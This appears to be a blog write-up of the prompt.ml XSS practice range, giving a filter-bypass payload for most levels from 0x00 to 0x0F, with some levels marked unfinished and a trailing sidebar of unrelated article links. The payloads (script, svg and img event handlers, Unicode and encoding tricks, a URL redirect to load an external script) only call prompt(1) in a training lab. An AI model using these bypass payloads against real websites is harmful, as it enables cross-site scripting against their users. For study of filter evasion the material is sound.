当前位置:网站首页>XSS shooting range (3) prompt to win
XSS shooting range (3) prompt to win
2022-07-31 04:29:00 【tree lost its way】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,Close double quotes and tags;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、Just note it out;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,Then don't need them;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->Let's not close;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制srcThe value of must begin with http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中passwordcan't have it later / ,用%2f代替;
Write one in the server root directorytest.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,Reclosing before and after "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,The form must be entered formURL#formDataJSONsuch as:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的actionwill directly overwrite the first one in frontaction,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",Filtering doesn't work;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #will result in a new one title的产生,每个 titleAfter shows only before12characters entered;
用 /* */去除多余部分,Escape length limit 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,This makes it impossible to escape single-line comments;
但 javaScript规定有5个字符,cannot appear directly in a string,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

This thing cannot be used directly,Now the console has it generate a special onepayload,然后我们复制,再配合 --> behind the keynote " 即可;
'\u2028prompt(1)\u2029-->' //Copy to console build specialpayloadCopy and use again
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
So use a trick:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码.
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的.
The breaking point is ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
Filtered a bunch of stuff;
The solution is not understood,哈哈;
"(prompt(1))in"
0x0C
Filter first here,后替换,所以第10The title doesn't work that way;
用 parseInt() The function parses a string and returns an integer,再用toStringDecoding can be bypassed;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
Similar to the seventh question,But it's filtered/*,构造<!-- -->即可 ;
配合<svg>Make the annotation effective;
on this subject<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
- type_traits元编程库学习
- [C language] General method for finding the sum of the greatest common factor and the least common multiple of two integers m and n, the classical solution
- Know the showTimePicker method of the basic components of Flutter
- (8) Math class, Arrays class, System class, Biglnteger and BigDecimal classes, date class
- 微信小程序使用云函数更新和添加云数据库嵌套数组元素
- 扫雷游戏(c语言写)
- $parent/$children 与 ref
- C language from entry to such as soil, the data store
- npm、nrm两种方式查看源和切换镜像
- 产学研用 共建开源人才生态 | 2022开放原子全球开源峰会教育分论坛圆满召开
猜你喜欢
![[Paper reading] Mastering the game of Go with deep neural networks and tree search](/img/4f/899da202e13bd561bbfdbaeebe4d2e.jpg)
[Paper reading] Mastering the game of Go with deep neural networks and tree search

mysql基础知识(二)

(8) Math class, Arrays class, System class, Biglnteger and BigDecimal classes, date class

(八)Math 类、Arrays 类、System类、Biglnteger 和 BigDecimal 类、日期类

BP神经网络

论治理与创新 | 2022开放原子全球开源峰会OpenAnolis分论坛圆满召开

MySQL基础操作

npm、nrm两种方式查看源和切换镜像

开放原子开源基金会秘书长孙文龙 | 凝心聚力,共拓开源

What is a system?
随机推荐
Error EPERM operation not permitted, mkdir ‘Dsoftwarenodejsnode_cache_cacach两种解决办法
(4) Recursion, variable parameters, access modifiers, understanding main method, code block
Bubble sort, selection sort, insertion sort, binary search directly
Safety 20220718
微软 AI 量化投资平台 Qlib 体验
RESTful api interface design specification
MySQL数据库必会的增删查改操作(CRUD)
exsl文件预览,word文件预览网页方法
Postgresql 15 source code analysis (5) - pg_control
MATLAB/Simulink&&STM32CubeMX工具链完成基于模型的设计开发(MBD)(三)
What is a system?
[C language] General method of base conversion
binom二项分布,
How Zotero removes auto-generated tags
Learning DAVID Database (1)
进程间通信
ClickHouse: Setting up remote connections
《DeepJIT: An End-To-End Deep Learning Framework for Just-In-Time Defect Prediction》论文笔记
Daily practice of LeetCode - 138. Copy a linked list with random pointers
专访 | 阿里巴巴首席技术官程立:云+开源共同形成数字世界的可信基础